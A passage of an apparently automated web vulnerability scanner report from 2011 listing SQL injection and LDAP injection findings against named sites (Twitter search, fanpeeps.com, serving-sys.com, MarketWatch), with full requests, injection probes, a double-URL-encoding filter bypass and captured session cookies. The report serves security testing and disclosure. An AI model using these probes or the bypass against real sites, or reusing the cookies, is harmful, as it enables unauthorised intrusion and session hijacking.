GET /livequote''/tokenJSON?list=NLS:$I.DJI,$I.COMPX,$INX&jsoncallback=jQuery151023836345155723393_1305368029705&_=1305368029780 HTTP/1.1
Host: sbklivequoteserverdl.smartmoney.com
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/invest/strategies/heavy-metal-debate-silver-vs-gold-1305310258887/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=65a08c08-94ef-4153-a49e-58cc26e0596f; smintromsg1=true; smintromsg1e=true; __utmz=205638161.1305368018.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_vnum=1307960020151%26vn%3D1; s_dbfe=1305368020152; s_cc=true; s_invisit=true; s_sq=djglobal%2Cdjsm%3D%2526pid%253DSM_Home%252520Page_0_0_SH_0001%2526pidt%253D1%2526oid%253Dhttp%25253A//www.smartmoney.com/invest/strategies/heavy-metal-debate-silver-vs-gold-1305310258887/%2526ot%253DA; __utma=205638161.1117820965.1305368018.1305368018.1305368018.1; __utmc=205638161; __utmb=205638161.2.10.1305368018

Response 2

HTTP/1.1 400 Bad Request
Server: Apache-Coyote/1.1
Date: Sat, 14 May 2011 10:20:40 GMT
nnCoection: close
Content-Length: 0

1.91. http://search.twitter.com/search.json [User-Agent HTTP header] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://search.twitter.com
Path:	/search.json

Issue detail

The User-Agent HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the User-Agent HTTP header, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of the User-Agent HTTP header as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request 1

GET /search.json?q=%22next%20top%20model%22%20OR%20%22nexttopmodel%22%20OR%20%22antm%22%20OR%20%22%2523antm%22&page=1&rpp=30&&&callback=twitterlib1305376448027 HTTP/1.1
Host: search.twitter.com
Proxy-Connection: keep-alive
Referer: http://www.fanpeeps.com/?action=tweets&pid=14&iid=4
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24%2527
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: k=173.193.214.243.1305305564166059; __utmz=43838368.1305368954.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=43838368.1598605414.1305368954.1305368954.1305368954.1; __utmc=43838368; _twitter_sess=BAh7CToPY3JlYXRlZF9hdGwrCN5zDe4vAToMY3NyZl9pZCIlYWM1YmY4MDQz%250AZTBmM2ZjNjEwY2JjNWVhMTc3YzFlNTAiCmZsYXNoSUM6J0FjdGlvbkNvbnRy%250Ab2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA6B2lkIiVkYWRm%250ANDJhZTBkOTc0ZTVmY2ZhMjc5OTY5YmVjYTdiZg%253D%253D--1d8040b8314f051f527cc09828e06b740baadb22

Response 1

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:35:33 GMT
Server: hi
Vary: Accept-Encoding
Status: 200 OK
Content-Type: application/json; charset=utf-8
Cache-Control: max-age=15, must-revalidate, max-age=300
X-Varnish: 2087599046
Age: 0
Via: 1.1 varnish
X-Cache-Svr: smf1-aaz-23-sr2.prod.twitter.com
X-Cache: MISS
Expires: Sat, 14 May 2011 12:40:33 GMT
Connection: close
Content-Length: 84

twitterlib1305376448027({"error":"You have been rate limited. Enhance your calm."});

Request 2

GET /search.json?q=%22next%20top%20model%22%20OR%20%22nexttopmodel%22%20OR%20%22antm%22%20OR%20%22%2523antm%22&page=1&rpp=30&&&callback=twitterlib1305376448027 HTTP/1.1
Host: search.twitter.com
Proxy-Connection: keep-alive
Referer: http://www.fanpeeps.com/?action=tweets&pid=14&iid=4
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24%2527%2527
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: k=173.193.214.243.1305305564166059; __utmz=43838368.1305368954.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=43838368.1598605414.1305368954.1305368954.1305368954.1; __utmc=43838368; _twitter_sess=BAh7CToPY3JlYXRlZF9hdGwrCN5zDe4vAToMY3NyZl9pZCIlYWM1YmY4MDQz%250AZTBmM2ZjNjEwY2JjNWVhMTc3YzFlNTAiCmZsYXNoSUM6J0FjdGlvbkNvbnRy%250Ab2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA6B2lkIiVkYWRm%250ANDJhZTBkOTc0ZTVmY2ZhMjc5OTY5YmVjYTdiZg%253D%253D--1d8040b8314f051f527cc09828e06b740baadb22

Response 2

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:35:33 GMT
Server: hi
Vary: Accept-Encoding
Status: 200 OK
Content-Type: application/json; charset=utf-8
Cache-Control: max-age=15, must-revalidate, max-age=300
X-Varnish: 1874525692
Age: 0
Via: 1.1 varnish
X-Cache-Svr: smf1-aaw-31-sr4.prod.twitter.com
X-Cache: MISS
Expires: Sat, 14 May 2011 12:40:33 GMT
Connection: close
Content-Length: 18300

twitterlib1305376448027({"results":[{"from_user_id_str":"291888395","profile_image_url":"http://a3.twimg.com/profile_images/1332411520/4_normal.JPG","created_at":"Sat, 14 May 2011 12:35:11 +0000","fro
...[SNIP]...

1.92. http://www.fanpeeps.com/ [pid parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.fanpeeps.com
Path:	/

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /?pid=14' HTTP/1.1
Host: www.fanpeeps.com
Proxy-Connection: keep-alive
Referer: http://www.fanpeeps.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=9a60411f58fb3454c5f556257e253120; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.5.10.1305376380

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:34:00 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 17165

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

2. LDAP injection previous next
There are 7 instances of this issue:

http://bs.serving-sys.com/BurstingPipe/adServer.bs [Pos parameter]
http://i1.marketwatch.com/MW5/content/business/css/marketwatch.member.css [REST URL parameter 1]
http://i3.marketwatch.com/MW5/content/story/css/story-typography.css [REST URL parameter 2]
http://i3.marketwatch.com/MW5/content/story/css/story-typography.css [REST URL parameter 3]
http://i3.marketwatch.com/MW5/content/story/css/story-typography.css [REST URL parameter 4]
http://i4.marketwatch.com/MW5/content/story/css/story-layout.css [REST URL parameter 2]
http://s.marketwatch.com/public/resources/documents/PixelTracking.html [REST URL parameter 2]

Issue background

LDAP injection arises when user-controllable data is copied in an unsafe way into an LDAP query that is performed by the application. If an attacker can inject LDAP metacharacters into the query, then they can interfere with the query's logic. Depending on the function for which the query is used, the attacker may be able to retrieve sensitive data to which they are not authorised, or subvert the application's logic to perform some unauthorised action.

Note that automated difference-based tests for LDAP injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Issue remediation

If possible, applications should avoid copying user-controllable data into LDAP queries. If this is unavoidable, then the data should be strictly validated to prevent LDAP injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into queries, and any other input should be rejected. At a minimum, input containing any LDAP metacharacters should be rejected; characters that should be blocked include ( ) ; , * | & = and whitespace.

2.1. http://bs.serving-sys.com/BurstingPipe/adServer.bs [Pos parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Issue detail

The Pos parameter appears to be vulnerable to LDAP injection attacks.

The payloads 48213c807c01c96)(sn=* and 48213c807c01c96)!(sn=* were each submitted in the Pos parameter. These two requests resulted in different responses, indicating that the input may be being incorporated into a disjunctive LDAP query in an unsafe manner.

Request 1

GET /BurstingPipe/adServer.bs?cn=bsr&FlightID=2344126&Page=&PluID=0&Pos=48213c807c01c96)(sn=* HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://www.fins.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: C4=; u2=d61a92e1-c563-4003-b380-e6f0a9dbf9f63I308g; A3=jtvLaMz402WG00001jFD.aMPk0cOm00001jxYPaMPg0doZ00001; B3=9xx40000000001uD9sKa0000000001uD9fOJ0000000001uC

Response 1

HTTP/1.1 302 Object moved
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Length: 0
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Location: http://ds.serving-sys.com/BurstingRes/Site-28039/Type-0/6f381ac2-b744-46b5-8b0b-b6007baa08c9.gif
Server: Microsoft-IIS/7.5
Set-Cookie: A3=jtvLaMz402WG00001jFD.aMPj0cOm00001iuIZaMPo0aMI00001jxYPaMPg0doZ00001; expires=Fri, 12-Aug-2011 06:16:34 GMT; domain=.serving-sys.com; path=/
Set-Cookie: B3=9xx40000000001uD8Yi+0000000001uD9sKa0000000001uD9fOJ0000000001uC; expires=Fri, 12-Aug-2011 06:16:34 GMT; domain=.serving-sys.com; path=/
Set-Cookie: C_48213c807c01c96)(sn=*=4844349
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sat, 14 May 2011 10:16:34 GMT
Connection: close

Request 2

GET /BurstingPipe/adServer.bs?cn=bsr&FlightID=2344126&Page=&PluID=0&Pos=48213c807c01c96)!(sn=* HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://www.fins.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: C4=; u2=d61a92e1-c563-4003-b380-e6f0a9dbf9f63I308g; A3=jtvLaMz402WG00001jFD.aMPk0cOm00001jxYPaMPg0doZ00001; B3=9xx40000000001uD9sKa0000000001uD9fOJ0000000001uC

Response 2

HTTP/1.1 302 Object moved
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Length: 0
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Location: http://ds.serving-sys.com/BurstingRes/Site-28039/Type-0/6f381ac2-b744-46b5-8b0b-b6007baa08c9.gif
Server: Microsoft-IIS/7.5
Set-Cookie: A3=jtvLaMz402WG00001jFD.aMPj0cOm00001iuIZaMPo0aMI00001jxYPaMPg0doZ00001; expires=Fri, 12-Aug-2011 06:16:34 GMT; domain=.serving-sys.com; path=/
Set-Cookie: B3=9xx40000000001uD8Yi+0000000001uD9sKa0000000001uD9fOJ0000000001uC; expires=Fri, 12-Aug-2011 06:16:34 GMT; domain=.serving-sys.com; path=/
Set-Cookie: C_48213c807c01c96)!(sn=*=4844349
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sat, 14 May 2011 10:16:34 GMT
Connection: close

2.2. http://i1.marketwatch.com/MW5/content/business/css/marketwatch.member.css [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://i1.marketwatch.com
Path:	/MW5/content/business/css/marketwatch.member.css

Issue detail

The REST URL parameter 1 appears to be vulnerable to LDAP injection attacks.

The payloads *)(sn=* and *)!(sn=* were each submitted in the REST URL parameter 1. These two requests resulted in different responses, indicating that the input may be being incorporated into a conjunctive LDAP query in an unsafe manner.

Request 1

GET /*)(sn=*/content/business/css/marketwatch.member.css?stop=it HTTP/1.1
Host: i1.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16

Response 1

HTTP/1.1 404 Not Found
Content-Length: 1635
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Machine: SB-IMAGE1
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:12:54 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>The page cannot be found</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=Windows-1252">
<STYLE type="text/css">
BODY { font: 8pt/12pt verdana }
H1 { font: 13pt/15pt verdana }
H2 { font: 8pt/12pt verdana }
A:link { color: red }
A:visited { color: maroon }
</STYLE>
</HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD>

<h1>The page cannot be found</h1>
The page you are looking for might have been removed, had its name changed, or is temporarily unavailable.
<hr>
<p>Please try the following:</p>
<ul>
<li>Make sure that the Web site address displayed in the address bar of your browser is spelled and formatted correctly.</li>
<li>If you reached this page by clicking a link, contact
the Web site administrator to alert them that the link is incorrectly formatted.
</li>
<li>Click the <a href="javascript:history.back(1)">Back</a> button to try another link.</li>
</ul>
<h2>HTTP Error 404 - File or directory not found.<br>Internet Information Services (IIS)</h2>
<hr>
<p>Technical Information (for support personnel)</p>
<ul>
<li>Go to <a href="http://go.microsoft.com/fwlink/?linkid=8180">Microsoft Product Support Services</a> and perform a title search for the words <b>HTTP</b> and <b>404</b>.</li>
<li>Open <b>IIS Help</b>, which is accessible in IIS Manager (inetmgr),
and search for topics titled <b>Web Site Setup</b>, <b>Common Administrative Tasks</b>, and <b>About Custom Error Messages</b>.</li>
</ul>

</TD></TR></TABLE></BODY></HTML>

Request 2

GET /*)!(sn=*/content/business/css/marketwatch.member.css?stop=it HTTP/1.1
Host: i1.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16

Response 2

HTTP/1.1 404 Not Found
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-MACHINE: SBKSIMGWEBP01
Content-Length: 103
Date: Sat, 14 May 2011 10:12:54 GMT
Connection: close
Vary: Accept-Encoding

The resource you are looking for has been removed, had its name changed, or is temporarily unavailable.

2.3. http://i3.marketwatch.com/MW5/content/story/css/story-typography.css [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://i3.marketwatch.com
Path:	/MW5/content/story/css/story-typography.css

Issue detail

The REST URL parameter 2 appears to be vulnerable to LDAP injection attacks.

The payloads *)(sn=* and *)!(sn=* were each submitted in the REST URL parameter 2. These two requests resulted in different responses, indicating that the input may be being incorporated into a conjunctive LDAP query in an unsafe manner.

Request 1

GET /MW5/*)(sn=*/story/css/story-typography.css?v3 HTTP/1.1
Host: i3.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; s_cc=true; s_vnum=1307959980006%26vn%3D1; rsi_csl=; rsi_segs=; BIZO=biz=1053&; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Home%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12%2526ot%253DA

Response 1

HTTP/1.1 404 Not Found
Content-Length: 1635
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Machine: SEC-IMAGE1
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:25:11 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>The page cannot be found</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=Windows-1252">
<STYLE type="text/css">
BODY { font: 8pt/12pt verdana }
H1 { font: 13pt/15pt verdana }
H2 { font: 8pt/12pt verdana }
A:link { color: red }
A:visited { color: maroon }
</STYLE>
</HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD>

<h1>The page cannot be found</h1>
The page you are looking for might have been removed, had its name changed, or is temporarily unavailable.
<hr>
<p>Please try the following:</p>
<ul>
<li>Make sure that the Web site address displayed in the address bar of your browser is spelled and formatted correctly.</li>
<li>If you reached this page by clicking a link, contact
the Web site administrator to alert them that the link is incorrectly formatted.
</li>
<li>Click the <a href="javascript:history.back(1)">Back</a> button to try another link.</li>
</ul>
<h2>HTTP Error 404 - File or directory not found.<br>Internet Information Services (IIS)</h2>
<hr>
<p>Technical Information (for support personnel)</p>
<ul>
<li>Go to <a href="http://go.microsoft.com/fwlink/?linkid=8180">Microsoft Product Support Services</a> and perform a title search for the words <b>HTTP</b> and <b>404</b>.</li>
<li>Open <b>IIS Help</b>, which is accessible in IIS Manager (inetmgr),
and search for topics titled <b>Web Site Setup</b>, <b>Common Administrative Tasks</b>, and <b>About Custom Error Messages</b>.</li>
</ul>

</TD></TR></TABLE></BODY></HTML>

Request 2

GET /MW5/*)!(sn=*/story/css/story-typography.css?v3 HTTP/1.1
Host: i3.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; s_cc=true; s_vnum=1307959980006%26vn%3D1; rsi_csl=; rsi_segs=; BIZO=biz=1053&; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Home%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12%2526ot%253DA

Response 2

HTTP/1.1 404 Not Found
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-MACHINE: SBKSIMGWEBP01
Content-Length: 103
Date: Sat, 14 May 2011 10:25:11 GMT
Connection: close
Vary: Accept-Encoding

The resource you are looking for has been removed, had its name changed, or is temporarily unavailable.

2.4. http://i3.marketwatch.com/MW5/content/story/css/story-typography.css [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://i3.marketwatch.com
Path:	/MW5/content/story/css/story-typography.css

Issue detail

The REST URL parameter 3 appears to be vulnerable to LDAP injection attacks.

The payloads *)(sn=* and *)!(sn=* were each submitted in the REST URL parameter 3. These two requests resulted in different responses, indicating that the input may be being incorporated into a conjunctive LDAP query in an unsafe manner.

Request 1

GET /MW5/content/*)(sn=*/css/story-typography.css?v3 HTTP/1.1
Host: i3.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; s_cc=true; s_vnum=1307959980006%26vn%3D1; rsi_csl=; rsi_segs=; BIZO=biz=1053&; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Home%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12%2526ot%253DA

Response 1

HTTP/1.1 404 Not Found
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-MACHINE: SBKSIMGWEBP01
Content-Length: 103
Date: Sat, 14 May 2011 10:25:12 GMT
Connection: close
Vary: Accept-Encoding

The resource you are looking for has been removed, had its name changed, or is temporarily unavailable.

Request 2

GET /MW5/content/*)!(sn=*/css/story-typography.css?v3 HTTP/1.1
Host: i3.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; s_cc=true; s_vnum=1307959980006%26vn%3D1; rsi_csl=; rsi_segs=; BIZO=biz=1053&; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Home%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12%2526ot%253DA

Response 2

HTTP/1.1 404 Not Found
Content-Length: 1635
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Machine: SB-IMAGE3
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:25:12 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>The page cannot be found</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=Windows-1252">
<STYLE type="text/css">
BODY { font: 8pt/12pt verdana }
H1 { font: 13pt/15pt verdana }
H2 { font: 8pt/12pt verdana }
A:link { color: red }
A:visited { color: maroon }
</STYLE>
</HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD>

<h1>The page cannot be found</h1>
The page you are looking for might have been removed, had its name changed, or is temporarily unavailable.
<hr>
<p>Please try the following:</p>
<ul>
<li>Make sure that the Web site address displayed in the address bar of your browser is spelled and formatted correctly.</li>
<li>If you reached this page by clicking a link, contact
the Web site administrator to alert them that the link is incorrectly formatted.
</li>
<li>Click the <a href="javascript:history.back(1)">Back</a> button to try another link.</li>
</ul>
<h2>HTTP Error 404 - File or directory not found.<br>Internet Information Services (IIS)</h2>
<hr>
<p>Technical Information (for support personnel)</p>
<ul>
<li>Go to <a href="http://go.microsoft.com/fwlink/?linkid=8180">Microsoft Product Support Services</a> and perform a title search for the words <b>HTTP</b> and <b>404</b>.</li>
<li>Open <b>IIS Help</b>, which is accessible in IIS Manager (inetmgr),
and search for topics titled <b>Web Site Setup</b>, <b>Common Administrative Tasks</b>, and <b>About Custom Error Messages</b>.</li>
</ul>

</TD></TR></TABLE></BODY></HTML>

2.5. http://i3.marketwatch.com/MW5/content/story/css/story-typography.css [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://i3.marketwatch.com
Path:	/MW5/content/story/css/story-typography.css

Issue detail

The REST URL parameter 4 appears to be vulnerable to LDAP injection attacks.

The payloads *)(sn=* and *)!(sn=* were each submitted in the REST URL parameter 4. These two requests resulted in different responses, indicating that the input may be being incorporated into a conjunctive LDAP query in an unsafe manner.

Request 1

GET /MW5/content/story/*)(sn=*/story-typography.css?v3 HTTP/1.1
Host: i3.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; s_cc=true; s_vnum=1307959980006%26vn%3D1; rsi_csl=; rsi_segs=; BIZO=biz=1053&; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Home%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12%2526ot%253DA

Response 1

HTTP/1.1 404 Not Found
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-MACHINE: SBKSIMGWEBP01
Content-Length: 103
Date: Sat, 14 May 2011 10:25:13 GMT
Connection: close
Vary: Accept-Encoding

The resource you are looking for has been removed, had its name changed, or is temporarily unavailable.

Request 2

GET /MW5/content/story/*)!(sn=*/story-typography.css?v3 HTTP/1.1
Host: i3.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; s_cc=true; s_vnum=1307959980006%26vn%3D1; rsi_csl=; rsi_segs=; BIZO=biz=1053&; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Home%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12%2526ot%253DA

Response 2

HTTP/1.1 404 Not Found
Content-Length: 1635
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Machine: SB-IMAGE1
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:25:13 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>The page cannot be found</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=Windows-1252">
<STYLE type="text/css">
BODY { font: 8pt/12pt verdana }
H1 { font: 13pt/15pt verdana }
H2 { font: 8pt/12pt verdana }
A:link { color: red }
A:visited { color: maroon }
</STYLE>
</HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD>

<h1>The page cannot be found</h1>
The page you are looking for might have been removed, had its name changed, or is temporarily unavailable.
<hr>
<p>Please try the following:</p>
<ul>
<li>Make sure that the Web site address displayed in the address bar of your browser is spelled and formatted correctly.</li>
<li>If you reached this page by clicking a link, contact
